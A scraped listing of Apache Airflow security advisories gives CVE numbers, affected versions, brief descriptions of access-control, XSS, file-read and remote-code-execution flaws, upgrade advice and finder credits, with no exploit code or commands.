Users are recommended to upgrade to version 3.7.0, which fixes the issue.

References

Credits

Eric Brown of Secure Sauce LLC (finder)

Ignored Airflow Permissions

CVE-2024-28746 [CVE] [CVE json] [OSV json]

Last updated: 2024-03-14T08:40:55.534Z

Affected

Apache Airflow from 2.8.0 before 2.8.3

Description

Apache Airflow, versions 2.8.0 through 2.8.2, has a vulnerability that allows an authenticated user with limited permissions to access resources such as variables, connections, etc from the UI which they do not have permission to access.

Users of Apache Airflow are recommended to upgrade to version 2.8.3 or newer to mitigate the risk associated with this vulnerability

References

Credits

Alex Liotta (finder)
Vincent(Vincbeck) (remediation developer)

Dag Code and Import Error Permissions Ignored

CVE-2024-27906 [CVE] [CVE json] [OSV json]

Last updated: 2025-05-06T13:12:04.279Z

Affected

Apache Airflow before 2.8.2

Description

Apache Airflow, versions before 2.8.2, has a vulnerability that allows authenticated users to view DAG code and import errors of DAGs they do not have permission to view through the API and the UI.

Users of Apache Airflow are recommended to upgrade to version 2.8.2 or newer to mitigate the risk associated with this vulnerability

References

Credits

Alex Liotta (finder)
Sreenivasulu Suuda (finder)
vincbeck (Vincent) (remediation developer)
Jed Cunningham (remediation developer)

Overly broad default permissions for Viewer/Ops (audit logs)

CVE-2024-26280 [CVE] [CVE json] [OSV json]

Last updated: 2024-03-01T11:05:52.165Z

Affected

Apache Airflow before 2.8.2

Description

Apache Airflow, versions before 2.8.2, has a vulnerability that allows authenticated Ops and Viewers users to view all information on audit logs, including dag names and usernames they were not permitted to view. With 2.8.2 and newer, Ops and Viewer users do not have audit log permission by default, they need to be explicitly granted permissions to see the logs. Only admin users have audit log permission by default.

Users of Apache Airflow are recommended to upgrade to version 2.8.2 or newer to mitigate the risk associated with this vulnerability

References

Credits

Yusuf AYDIN (@h1_yusuf) (finder)

Cache Control - Storage of Sensitive Data in Browser Cache

CVE-2024-25142 [CVE] [CVE json] [OSV json]

Last updated: 2024-06-14T08:25:32.229Z

Affected

Apache Airflow before 2.9.2

Description

Use of Web Browser Cache Containing Sensitive Information vulnerability in Apache Airflow.

Airflow did not return "Cache-Control" header for dynamic content, which in case of some browsers could result in potentially storing sensitive data in local cache of the browser.

This issue affects Apache Airflow: before 2.9.2.

Users are recommended to upgrade to version 2.9.2, which fixes the issue.

References

Credits

Jens Scheffler (reporter)

Certificate validation isn’t respected even if SSL is enabled for apache-airflow-providers-mongo

CVE-2024-25141 [CVE] [CVE json] [OSV json]

Last updated: 2024-02-20T20:30:25.779Z

Affected

Apache Airflow Mongo Provider from 1.0.0 before 4.0.0

Description

When ssl was enabled for Mongo Hook, default settings included “allow_insecure” which caused that certificates were not validated. This was unexpected and undocumented.
Users are recommended to upgrade to version 4.0.0, which fixes this issue.

References

Credits

Noah Stapp (reporter)

Kubernetes configuration file saved without encryption in the Metadata and logged as plain text in the Triggerer service

CVE-2023-51702 [CVE] [CVE json] [OSV json]

Last updated: 2024-01-24T12:56:15.440Z

Affected

Apache Airflow CNCF Kubernetes provider from 5.2.0 before 7.0.0
Apache Airflow from 2.3.0 before 2.6.1

Description

Since version 5.2.0, when using deferrable mode with the path of a Kubernetes configuration file for authentication, the Airflow worker serializes this configuration file as a dictionary and sends it to the triggerer by storing it in metadata without any encryption. Additionally, if used with an Airflow version between 2.3.0 and 2.6.0, the configuration dictionary will be logged as plain text in the triggerer service without masking. This allows anyone with access to the metadata or triggerer log to obtain the configuration file and use it to access the Kubernetes cluster.

This behavior was changed in version 7.0.0, which stopped serializing the file contents and started providing the file path instead to read the contents into the trigger. Users are recommended to upgrade to version 7.0.0, which fixes this issue.

References

Credits

Hussein Awala (finder)
Hussein Awala (remediation developer)

Bypass permission verification to read code of other dags

CVE-2023-50944 [CVE] [CVE json] [OSV json]

Last updated: 2024-01-24T12:58:17.032Z

Affected

Apache Airflow before 2.8.1

Description

Apache Airflow, versions before 2.8.1, have a vulnerability that allows an authenticated user to access the source code of a DAG to which they don’t have access. This vulnerability is considered low since it requires an authenticated user to exploit it. Users are recommended to upgrade to version 2.8.1, which fixes this issue.

References

Credits

Timon8 Zhang (finder)

Potential pickle deserialization vulnerability in XComs

CVE-2023-50943 [CVE] [CVE json] [OSV json]

Last updated: 2024-01-24T12:57:05.049Z

Affected

Apache Airflow before 2.8.1

Description

Apache Airflow, versions before 2.8.1, have a vulnerability that allows a potential attacker to poison the XCom data by bypassing the protection of “enable_xcom_pickling=False” configuration setting resulting in poisoned data after XCom deserialization. This vulnerability is considered low since it requires a DAG author to exploit it. Users are recommended to upgrade to version 2.8.1 or later, which fixes this issue.

References

Credits

Peng Zhou (zpbrent@gmail.com) (finder)
Hussein Awala (remediation developer)

Improper access control vulnerability on the “varimport” endpoint

CVE-2023-50783 [CVE] [CVE json] [OSV json]

Last updated: 2023-12-21T09:28:46.089Z

Affected

Apache Airflow before 2.8.0

Description

Apache Airflow, versions before 2.8.0, is affected by a vulnerability that allows an authenticated user without the variable edit permission, to update a variable.
This flaw compromises the integrity of variable management, potentially leading to unauthorized data modification.
Users are recommended to upgrade to 2.8.0, which fixes this issue

References

Credits

balis0ng (finder)
Ephraim Anierobi (remediation developer)

Missing CSRF protection on DAG/trigger

CVE-2023-49920 [CVE] [CVE json] [OSV json]

Last updated: 2023-12-21T09:27:07.715Z

Affected

Apache Airflow from 2.7.0 before 2.8.0

Description

Apache Airflow, version 2.7.0 through 2.7.3, has a vulnerability that allows an attacker to trigger a DAG in a GET request without CSRF validation. As a result, it was possible for a malicious website opened in the same browser - by the user who also had Airflow UI opened - to trigger the execution of DAGs without the user’s consent.
Users are advised to upgrade to version 2.8.0 or later which is not affected

References

Credits

Tareq Ahamed ( 0xt4req) (finder)
Jens Scheffler (remediation developer)

Improper access control to DAG resources

CVE-2023-48291 [CVE] [CVE json] [OSV json]

Last updated: 2023-12-21T09:30:40.260Z

Affected

Apache Airflow before 2.8.0

Description

Apache Airflow, in versions prior to 2.8.0, contains a security vulnerability that allows an authenticated user with limited access to some DAGs, to craft a request that could give the user write access to various DAG resources for DAGs that the user had no access to, thus, enabling the user to clear DAGs they shouldn’t.

This is a missing fix for CVE-2023-42792 in Apache Airflow 2.7.2

Users of Apache Airflow are strongly advised to upgrade to version 2.8.0 or newer to mitigate the risk associated with this vulnerability.

References

Credits

balis0ng (finder)
Jarek Potiuk (remediation developer)

DAG Params alllow to embed unchecked Javascript

CVE-2023-47265 [CVE] [CVE json] [OSV json]

Last updated: 2023-12-21T09:28:05.966Z

Affected

Apache Airflow from 2.6.0 before 2.8.0

Description

Apache Airflow, versions 2.6.0 through 2.7.3 has a stored XSS vulnerability that allows a DAG author to add an unbounded and not-sanitized javascript in the parameter description field of the DAG. This Javascript can be executed on the client side of any of the user who looks at the tasks in the browser sandbox. While this issue does not allow to exit the browser sandbox or manipulation of the server-side data - more than the DAG author already has, it allows to modify what the user looking at the DAG details sees in the browser - which opens up all kinds of possibilities of misleading other users.

Users of Apache Airflow are recommended to upgrade to version 2.8.0 or newer to mitigate the risk associated with this vulnerability

References

Credits

Jens Scheffler (finder)
Andrey Anshin (finder)
Jens Scheffler (remediation developer)

Apache Airflow missing fix for CVE-2023-40611 in 2.7.1 (DAG run broken access)

CVE-2023-47037 [CVE] [CVE json] [OSV json]

Last updated: 2023-11-12T13:12:20.076Z

Affected

Apache Airflow before 2.7.3

Description

We failed to apply CVE-2023-40611 in 2.7.1 and this vulnerability was marked as fixed then.

Apache Airflow, versions before 2.7.3, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.

Users should upgrade to version 2.7.3 or later which has removed the vulnerability.

References

Credits

Tareq Ahamed from Hackerone (reporter)
Augusto Hidalgo (remediation developer)

Sensitive parameters exposed in API when “non-sensitive-only” configuration is set

CVE-2023-46288 [CVE] [CVE json] [OSV json]

Last updated: 2023-10-23T18:13:01.162Z

Affected

Apache Airflow from 2.4.0 before 2.7.0

Description

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Airflow.

This issue affects Apache Airflow from 2.4.0 to 2.7.0.

Sensitive configuration information has been exposed to authenticated users with the ability to read configuration via Airflow REST API for configuration even when the expose_config option is set to non-sensitive-only. The expose_config option is False by default. It is recommended to upgrade to a version that is not affected if you set expose_config to non-sensitive-only configuration. This is a different error than CVE-2023-45348 which allows authenticated user to retrieve individual configuration values in 2.7.* by specially crafting their request (solved in 2.7.2).

Users are recommended to upgrade to version 2.7.2, which fixes the issue and additionally fixes CVE-2023-45348.

References

Credits

id_No2015429 of 3H Secruity Team (finder)
Lee, Wei (finder)
Lee, Wei (remediation developer)

Sensitive information logged as clear text when rediss, amqp, rpc protocols are used as Celery result backend

CVE-2023-46215 [CVE] [CVE json] [OSV json]

Last updated: 2023-10-28T07:10:54.392Z

Affected

Apache Airflow Celery provider from 3.3.0 through 3.4.0
Apache Airflow from 1.10.0 before 2.7.0

Description

Insertion of Sensitive Information into Log File vulnerability in Apache Airflow Celery provider, Apache Airflow.

Sensitive information logged as clear text when rediss, amqp, rpc protocols are used as Celery result backend
Note: the vulnerability is about the information exposed in the logs not about accessing the logs.

This issue affects Apache Airflow Celery provider: from 3.3.0 through 3.4.0; Apache Airflow: from 1.10.0 through 2.6.3.

Users are recommended to upgrade Airflow Celery provider to version 3.4.1 and Apache Airlfow to version 2.7.0 which fixes the issue.

References

Credits

husseinawala (finder)

Configuration information leakage vulnerability

CVE-2023-45348 [CVE] [CVE json] [OSV json]

Last updated: 2023-10-14T09:46:37.359Z

Affected

Apache Airflow from 2.7.0 before 2.7.2

Description

Apache Airflow, versions 2.7.0 and 2.7.1, is affected by a vulnerability that allows an authenticated user to retrieve sensitive configuration information when the “expose_config” option is set to “non-sensitive-only”. The expose_config option is False by default.
It is recommended to upgrade to a version that is not affected.

References

Credits

L3yx of Syclover Security Team (finder)
Hussein Awala (remediation developer)

Improper access control to DAG resources

CVE-2023-42792 [CVE] [CVE json] [OSV json]

Last updated: 2023-10-14T09:47:04.851Z

Affected

Apache Airflow before 2.7.2

Description

Apache Airflow, in versions prior to 2.7.2, contains a security vulnerability that allows an authenticated user with limited access to some DAGs, to craft a request that could give the user write access to various DAG resources for DAGs that the user had no access to, thus, enabling the user to clear DAGs they shouldn’t.

Users of Apache Airflow are strongly advised to upgrade to version 2.7.2 or newer to mitigate the risk associated with this vulnerability.

References

Credits

balis0ng (finder)
Jarek Potiuk (remediation developer)

Permission verification bypass allows viewing dagruns of other dags

CVE-2023-42781 [CVE] [CVE json] [OSV json]

Last updated: 2023-11-12T13:14:05.928Z

Affected

Apache Airflow before 2.7.3

Description

Apache Airflow, versions before 2.7.3, has a vulnerability that allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs. This is a different issue than CVE-2023-42663 but leading to similar outcome.
Users of Apache Airflow are advised to upgrade to version 2.7.3 or newer to mitigate the risk associated with this vulnerability.

References

Credits

balis0ng (finder)
Hussein Awala (remediation developer)

Improper access control vulnerability in the “List dag warnings” feature

CVE-2023-42780 [CVE] [CVE json] [OSV json]

Last updated: 2023-10-14T09:46:05.032Z

Affected

Apache Airflow before 2.7.2

Description

Apache Airflow, versions prior to 2.7.2, contains a security vulnerability that allows authenticated users of Airflow to list warnings for all DAGs, even if the user had no permission to see those DAGs. It would reveal the dag_ids and the stack-traces of import errors for those DAGs with import errors.
Users of Apache Airflow are advised to upgrade to version 2.7.2 or newer to mitigate the risk associated with this vulnerability.

References

Credits

balis0ng (finder)
Hussein Awala (remediation developer)

Bypass permission verification to view task instances of other dags

CVE-2023-42663 [CVE] [CVE json] [OSV json]

Last updated: 2023-10-14T09:47:24.055Z

Affected

Apache Airflow before 2.7.2

Description

Apache Airflow, versions before 2.7.2, has a vulnerability that allows an authorized user who has access to read specific DAGs only, to read information about task instances in other DAGs.
Users of Apache Airflow are advised to upgrade to version 2.7.2 or newer to mitigate the risk associated with this vulnerability.

References

Credits

balis0ng (finder)
Ephraim Anierobi (remediation developer)

Apache HDFS Provider error message suggested installation of incorrect pip package

CVE-2023-41267 [CVE] [CVE json] [OSV json]

Last updated: 2023-09-14T07:46:36.891Z

Affected

Apache Airflow HDFS Provider before 4.1.1

Description

In the Apache Airflow HDFS Provider, versions prior to 4.1.1, a documentation info pointed users to an install incorrect pip package. As this package name was unclaimed, in theory, an attacker could claim this package and provide code that would be executed when this package was installed. The Airflow team has since taken ownership of the package (neutralizing the risk), and fixed the doc strings in version 4.1.1

References

Credits

AnupamAs01 (finder)

Secrets can be unmasked in the “Rendered Template”

CVE-2023-40712 [CVE] [CVE json] [OSV json]

Last updated: 2023-09-12T11:05:46.999Z

Affected

Apache Airflow before 2.7.1

Description

Apache Airflow, versions before 2.7.1, is affected by a vulnerability that allows authenticated users who have access to see the task/dag in the UI, to craft a URL, which could lead to unmasking the secret configuration of the task that otherwise would be masked in the UI.

Users are strongly advised to upgrade to version 2.7.1 or later which has removed the vulnerability.

References

Credits

klexadoc (finder)

Apache Airflow Dag Runs Broken Access Control Vulnerability

CVE-2023-40611 [CVE] [CVE json] [OSV json]

Last updated: 2023-09-12T11:05:20.884Z

Affected

Apache Airflow before 2.7.1

Description

Apache Airflow, versions before 2.7.1, is affected by a vulnerability that allows authenticated and DAG-view authorized Users to modify some DAG run detail values when submitting notes. This could have them alter details such as configuration parameters, start date, etc.

Users should upgrade to version 2.7.1 or later which has removed the vulnerability.

References

Credits

happyhacking (finder)

Session fixation in Apache Airflow web interface

CVE-2023-40273 [CVE] [CVE json]

Last updated: 2023-09-12T06:41:25.454Z

Affected

Apache Airflow before 2.7.0

Description

The session fixation vulnerability allowed the authenticated user to continue accessing Airflow webserver even after the password of the user has been reset by the admin - up until the expiry of the session of the user. Other than manually cleaning the session database (for database session backend), or changing the secure_key and restarting the webserver, there were no mechanisms to force-logout the user (and all other users with that).

With this fix implemented, when using the database session backend, the existing sessions of the user are invalidated when the password of the user is reset. When using the securecookie session backend, the sessions are NOT invalidated and still require changing the secure key and restarting the webserver (and logging out all other users), but the user resetting the password is informed about it with a flash message warning displayed in the UI. Documentation is also updated explaining this behaviour.

Users of Apache Airflow are advised to upgrade to version 2.7.0 or newer to mitigate the risk associated with this vulnerability.

References

Credits

Yusuf AYDIN (@h1_yusuf) (finder)
L3yx of Syclover Security Team. (finder)
Son Tran of VNPT-VCI (finder)
Thuong Nguyen (@nthuong95) (finder)

Apache Airflow Spark Provider Arbitrary File Read via JDBC

CVE-2023-40272 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-17T13:52:26.145Z

Affected

Apache Airflow Spark Provider before 4.1.3

Description

Apache Airflow Spark Provider, versions before 4.1.3, is affected by a vulnerability that allows an attacker to pass in malicious parameters when establishing a connection giving an opportunity to read files on the Airflow server.
It is recommended to upgrade to a version that is not affected.

References

https://lists.apache.org/thread/t03gktyzyor20rh06okd91jtqmw6k1l7

Credits

sw0rd1ight (finder)

Apache Airflow Spark Provider Deserialization Vulnerability RCE

CVE-2023-40195 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-28T07:49:59.173Z

Affected

Apache Airflow Spark Provider before 4.1.3

Description

Deserialization of Untrusted Data, Inclusion of Functionality from Untrusted Control Sphere vulnerability in Apache Software Foundation Apache Airflow Spark Provider.

When the Apache Spark provider is installed on an Airflow deployment, an Airflow user that is authorized to configure Spark hooks can effectively run arbitrary code on the Airflow node by pointing it at a malicious Spark server. Prior to version 4.1.3, this was not called out in the documentation explicitly, so it is possible that administrators provided authorizations to configure Spark hooks without taking this into account. We recommend administrators to review their configurations to make sure the authorization to configure Spark hooks is only provided to fully trusted users.

To view the warning in the docs please visit https://airflow.apache.org/docs/apache-airflow-providers-apache-spark/4.1.3/connections/spark.html

References

Credits

happyhacking-k (finder)

Apache Airflow Drill Provider Arbitrary File Read Vulnerability

CVE-2023-39553 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-11T18:42:20.040Z

Affected

Apache Airflow Drill Provider before 2.4.3

Description

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow Drill Provider.

Apache Airflow Drill Provider is affected by a vulnerability that allows an attacker to pass in malicious parameters when establishing a connection with DrillHook giving an opportunity to read files on the Airflow server.

This issue affects Apache Airflow Drill Provider: before 2.4.3.
It is recommended to upgrade to a version that is not affected.

References

Credits

sw0rd1ight of Caiji Sec Team and 4ra1n of Chaitin Tech (finder)
happyhacking (finder)

Airflow “Run task” feature allows execution with unnecessary priviledges

CVE-2023-39508 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-05T06:47:11.955Z

Affected

Apache Airflow before 2.6.0

Description

Execution with Unnecessary Privileges, : Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache Software Foundation Apache Airflow.

The “Run Task” feature enables authenticated user to bypass some of the restrictions put in place. It allows to execute code in the webserver context as well as allows to bypas limitation of access the user has to certain DAGs. The “Run Task” feature is considered dangerous and it has been removed entirely in Airflow 2.6.0

This issue affects Apache Airflow: before 2.6.0.

References

Credits

balis0ng (finder)

SMTP/IMAP client components allowed MITM due to missing Certificate Validation

CVE-2023-39441 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-23T15:39:49.970Z

Affected

Apache Airflow SMTP Provider before 1.30
Apache Airflow IMAP Provider before 3.3.0
Apache Airflow before 2.7.0

Description

Apache Airflow SMTP Provider before 1.3.0, Apache Airflow IMAP Provider before 3.3.0, and Apache Airflow before 2.7.0 are affected by the Validation of OpenSSL Certificate vulnerability.

The default SSL context with SSL library did not check a server’s X.509 certificate. Instead, the code accepted any certificate, which could result in the disclosure of mail server credentials or mail contents when the client connects to an attacker in a MITM position.

Users are strongly advised to upgrade to Apache Airflow version 2.7.0 or newer, Apache Airflow IMAP Provider version 3.3.0 or newer, and Apache Airflow SMTP Provider version 1.3.0 or newer to mitigate the risk associated with this vulnerability

References

Credits

Martin Schobert, Pentagrid AG (finder)

Improper Input Validation in Hive Provider with proxy_user

CVE-2023-37415 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-13T07:35:30.726Z

Affected

Apache Airflow Apache Hive Provider before 6.1.2

Description

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow Apache Hive Provider.

Patching on top of CVE-2023-35797

Before 6.1.2 the proxy_user option can also inject semicolon.

This issue affects Apache Airflow Apache Hive Provider: before 6.1.2.

It is recommended updating provider version to 6.1.2 in order to avoid this vulnerability.

References

https://lists.apache.org/thread/9wx0jlckbnycjh8nj5qfwxo423zvm41k

Credits

Son Tran from VNPT - VCI (reporter)

Exposure of sensitive connection information, DOS and SSRF on “test connection” feature

CVE-2023-37379 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-23T15:38:53.691Z

Affected

Apache Airflow before 2.7.0

Description

Apache Airflow, in versions prior to 2.7.0, contains a security vulnerability that can be exploited by an authenticated user possessing Connection edit privileges. This vulnerability allows the user to access connection information and exploit the test connection feature by sending many requests, leading to a denial of service (DoS) condition on the server. Furthermore, malicious actors can leverage this vulnerability to establish harmful connections with the server.

Users of Apache Airflow are strongly advised to upgrade to version 2.7.0 or newer to mitigate the risk associated with this vulnerability. Additionally, administrators are encouraged to review and adjust user permissions to restrict access to sensitive functionalities, reducing the attack surface.

References

Credits

kuteminh11 (finder)
khoabda of Zalo Security Team (finder)
Sayooj B Kumar(Team bi0s & CRED Security team) (finder)
Son Tran from VNPT - VCI (finder)
KmhlYXJ0 (finder)

ReDoS via dags function

CVE-2023-36543 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-21T10:49:41.270Z

Affected

Apache Airflow before 2.6.3

Description

Apache Airflow, versions before 2.6.3, has a vulnerability where an authenticated user can use crafted input to make the current request hang. It is recommended to upgrade to a version that is not affected

References

Credits

National Cyber Security VietNam (NCS VietNam) (finder)
hungtd (finder)

Access to DAGs without relevant permission

CVE-2023-35908 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-12T09:14:08.022Z

Affected

Apache Airflow before 2.6.3

Description

Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows unauthorized read access to a DAG through the URL. It is recommended to upgrade to a version that is not affected

References

Credits

Name : Karthikeyan Singaravelan Employer : Visa (finder)

Airflow Apache ODBC and MSSQL Providers Arbitrary File Read Vulnerability

CVE-2023-35798 [CVE] [CVE json] [OSV json]

Last updated: 2023-06-27T11:39:49.794Z

Affected

Apache Airflow ODBC Provider before 4.0.0
Apache Airflow MSSQL Provider before 3.4.1

Description

Input Validation vulnerability in Apache Software Foundation Apache Airflow ODBC Provider, Apache Software Foundation Apache Airflow MSSQL Provider.

This vulnerability is considered low since it requires DAG code to use <span style="background-color: rgb(255, 255, 255);">get_sqlalchemy_connection and someone with access to connection resources specifically updating the connection to exploit it.

This issue affects Apache Airflow ODBC Provider: before 4.0.0; Apache Airflow MSSQL Provider: before 3.4.1.

It is recommended to upgrade to a version that is not affected

References

Credits

id_No2015429 of 3H Secruity Team (finder)

Apache Airflow Hive Provider Beeline RCE with Principal

CVE-2023-35797 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-03T09:08:49.038Z

Affected

Apache Airflow Apache Hive Provider before 6.1.1

Description

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow Hive Provider.

This issue affects Apache Airflow Apache Hive Provider: before 6.1.1.

Before version 6.1.1 it was possible to bypass the security check to RCE via
principal parameter. For this to be exploited it requires access to modifying the connection details.

It is recommended updating provider version to 6.1.1 in order to avoid this vulnerability.

References

Credits

id_No2015429 of 3H Secruity Team (reporter)

Information disclosure on configuration view

CVE-2023-35005 [CVE] [CVE json] [OSV json]

Last updated: 2023-06-19T08:15:11.464Z

Affected

Apache Airflow from 2.5.0 before 2.6.2

Description

In Apache Airflow, some potentially sensitive values were being shown to the user in certain situations.

This vulnerability is mitigated by the fact configuration is not shown in the UI by default (only if `[webserver] expose_config` is set to `non-sensitive-only`), and not all uncensored values are actually sentitive.

This issue affects Apache Airflow: from 2.5.0 before 2.6.2. Users are recommended to update to version 2.6.2 or later.

References

Credits

Piotr Chomiak from Astro product security team (finder)

Remote code execution vulnerability

CVE-2023-34395 [CVE] [CVE json] [OSV json]

Last updated: 2023-06-27T11:36:51.331Z

Affected

Apache Airflow ODBC Provider before 4.0.0

Description

Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’) vulnerability in Apache Software Foundation Apache Airflow ODBC Provider.
In OdbcHook, A privilege escalation vulnerability exists in a system due to controllable ODBC driver parameters that allow the loading of arbitrary dynamic-link libraries, resulting in command execution.
Starting version 4.0.0 driver can be set only from the hook constructor.

This issue affects Apache Airflow ODBC Provider: before 4.0.0.

References

Credits

KmhlYXJ0 (finder)

KubernetesPodOperator RCE via connection configuration

CVE-2023-33234 [CVE] [CVE json] [OSV json]

Last updated: 2023-05-30T10:56:52.167Z

Affected

Apache Airflow CNCF Kubernetes Provider from 5.0.0 through 6.1.0

Description

Arbitrary code execution in Apache Airflow CNCF Kubernetes provider version 5.0.0 allows user to change xcom sidecar image and resources via Airflow connection.

In order to exploit this weakness, a user would already need elevated permissions (Op or Admin) to change the connection object in this manner. Operators should upgrade to provider version 7.0.0 which has removed the vulnerability.

References

https://lists.apache.org/thread/n1vpgl6h2qsdm52o9m2tx1oo86tl4gnq

Stored XSS on Apache Airflow

CVE-2023-29247 [CVE] [CVE json] [OSV json]

Last updated: 2023-05-08T09:01:33.604Z

Affected

Apache Airflow before 2.6.0

Description

Task instance details page in the UI is vulnerable to a stored XSS.

This issue affects Apache Airflow: before 2.6.0.

References

Credits

taidh from VNPT - VCI (finder)
kuteminh11 (finder)

Apache Airflow Spark Provider Arbitrary File Read via JDBC

CVE-2023-28710 [CVE] [CVE json] [OSV json]

Last updated: 2023-04-07T14:55:42.112Z

Affected

Apache Airflow Spark Provider before 4.0.1

Description

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow Spark Provider.

This issue affects Apache Airflow Spark Provider: before 4.0.1.

References

Credits

Xie Jianming of Nsfocus (finder)

Airflow Apache Drill Provider Arbitrary File Read Vulnerability

CVE-2023-28707 [CVE] [CVE json] [OSV json]

Last updated: 2023-04-07T14:53:21.428Z

Affected

Apache Airflow Drill Provider before 2.3.2

Description

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow Drill Provider.

This issue affects Apache Airflow Drill Provider: before 2.3.2.

References

Credits

Kai Zhao of 3H Secruity Team (finder)

Apache Airflow Hive Provider Beeline Remote Command Execution

CVE-2023-28706 [CVE] [CVE json] [OSV json]

Last updated: 2023-04-07T14:54:35.049Z

Affected

Apache Airflow Hive Provider before 6.0.0

Description

Improper Control of Generation of Code (‘Code Injection’) vulnerability in Apache Software Foundation Apache Airflow Hive Provider.

This issue affects Apache Airflow Hive Provider: before 6.0.0.

References

Credits

sw0rd1ight of Caiji Sec Team and 4ra1n of Chaitin Tech (finder)

Airflow Sqoop Provider RCE Vulnerability

CVE-2023-27604 [CVE] [CVE json] [OSV json]

Last updated: 2023-08-28T07:47:27.394Z

Affected

Apache Airflow Sqoop Provider before 4.0.0

Description

Apache Airflow Sqoop Provider, versions before 4.0.0, is affected by a vulnerability that allows an attacker pass parameters with the connections, which makes it possible to implement RCE attacks via ‘sqoop import –connect’, obtain airflow server permissions, etc. The attacker needs to be logged in and have authorization (permissions) to create/edit connections.

It is recommended to upgrade to a version that is not affected.
This issue was reported independently by happyhacking-k, And Xie Jianming and LiuHui of Caiji Sec Team also reported it.

References

Credits

happyhacking-k (finder)
Xie Jianming of Caiji Sec Team (finder)
Liu Hui of Caiji Sec Team (finder)

Arbitrary file read via AWS provider

CVE-2023-25956 [CVE] [CVE json] [OSV json]

Last updated: 2023-03-07T08:23:39.736Z

Affected

Apache Airflow AWS Provider before 7.2.1

Description

Generation of Error Message Containing Sensitive Information vulnerability in the Apache Airflow AWS Provider.

This issue affects Apache Airflow AWS Provider versions before 7.2.1.

References

Credits

Son Tran from VNPT - VCI (finder)
kuteminh11 (finder)

Privilege escalation using airflow logs

CVE-2023-25754 [CVE] [CVE json] [OSV json]

Last updated: 2023-05-08T11:57:41.997Z

Affected

Apache Airflow before 2.6.0

Description

Privilege Context Switching Error vulnerability in Apache Software Foundation Apache Airflow.

This issue affects Apache Airflow: before 2.6.0.

References

Credits

ksw9722@naver.com (finder)

Apache Airflow Hive Provider Beeline RCE

CVE-2023-25696 [CVE] [CVE json] [OSV json]

Last updated: 2023-02-24T11:48:19.499Z

Affected

Apache Airflow Hive Provider before 5.1.3

Description

Improper Input Validation vulnerability in the Apache Airflow Hive Provider.

This issue affects Apache Airflow Hive Provider versions before 5.1.3.

References

Credits

id_No2015429 of 3H Secruity Team (finder)

Information disclosure in Apache Airflow

CVE-2023-25695 [CVE] [CVE json] [OSV json]

Last updated: 2023-03-15T09:37:07.873Z

Affected

Apache Airflow before 2.5.2

Description

Generation of Error Message Containing Sensitive Information vulnerability in Apache Software Foundation Apache Airflow.

This issue affects Apache Airflow: before 2.5.2.

References

Credits

kuteminh11 (finder)

Sqoop Apache Airflow Provider Remote Code Execution Vulnerability

CVE-2023-25693 [CVE] [CVE json] [OSV json]

Last updated: 2023-02-24T11:48:09.839Z

Affected

Apache Airflow Sqoop Provider before 3.1.1

Description

Improper Input Validation vulnerability in the Apache Airflow Sqoop Provider.

This issue affects Apache Airflow Sqoop Provider versions before 3.1.1.

References

Credits

L3yx of Syclover Security Team (finder)

Google Cloud Sql Provider Denial Of Service

CVE-2023-25692 [CVE] [CVE json] [OSV json]

Last updated: 2023-02-24T11:47:58.411Z

Affected

Apache Airflow Google Provider before 8.10.0

Description

Improper Input Validation vulnerability in the Apache Airflow Google Provider.

This issue affects Apache Airflow Google Provider versions before 8.10.0.

References

Credits

Xie Jianming of Caiji Sec Team (finder)

Google Cloud Sql Provider Remote Command Execution

CVE-2023-25691 [CVE] [CVE json] [OSV json]

Last updated: 2023-02-24T11:35:47.925Z

Affected

Apache Airflow Google Provider before 8.10.0

Description

Improper Input Validation vulnerability in the Apache Airflow Google Provider.

This issue affects Apache Airflow Google Provider versions before 8.10.0.

References

Credits

Xie Jianming of Caiji Sec Team (finder)

Scheduler remote DoS

CVE-2023-22888 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-12T09:17:51.316Z

Affected

Apache Airflow before 2.6.3

Description

Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows an attacker to cause a service disruption by manipulating the run_id parameter. This vulnerability is considered low since it requires an authenticated user to exploit it. It is recommended to upgrade to a version that is not affected

References

Credits

Zhipeng Zhang (@timon8) (finder)

Apache Airflow path traversal by authenticated user

CVE-2023-22887 [CVE] [CVE json] [OSV json]

Last updated: 2023-07-13T10:31:08.518Z

Affected

Apache Airflow before 2.6.3

Description

Apache Airflow, versions before 2.6.3, is affected by a vulnerability that allows an attacker to perform unauthorized file access outside the intended directory structure by manipulating the run_id parameter. This vulnerability is considered low since it requires an authenticated user to exploit it. It is recommended to upgrade to a version that is not affected

References

Credits

Zhipeng Zhang (@Timon8) (finder)
KietNA from National Cyber Security (NCS) (finder)

RCE Vulnerability

CVE-2023-22886 [CVE] [CVE json] [OSV json]

Last updated: 2023-06-29T09:40:58.058Z

Affected

Apache Airflow JDBC Provider before 4.0.0

Description

Improper Input Validation vulnerability in Apache Software Foundation Apache Airflow JDBC Provider.
Airflow JDBC Provider Connection’s [Connection URL] parameters had no
restrictions, which made it possible to implement RCE attacks via
different type JDBC drivers, obtain airflow server permission.

This issue affects Apache Airflow JDBC Provider: before 4.0.0.

References

https://lists.apache.org/thread/ynbjwp4n0vzql0xzhog1gkp1ovncf8j3

Credits

heart Y (finder)
happyhacking (finder)

Arbitrary file read via MySQL provider in Apache Airflow

CVE-2023-22884 [CVE] [CVE json] [OSV json]

Last updated: 2023-01-21T13:02:09.736Z

Affected

Apache Airflow before 2.5.1
Apache Airflow MySQL Provider before 4.0.0

Description

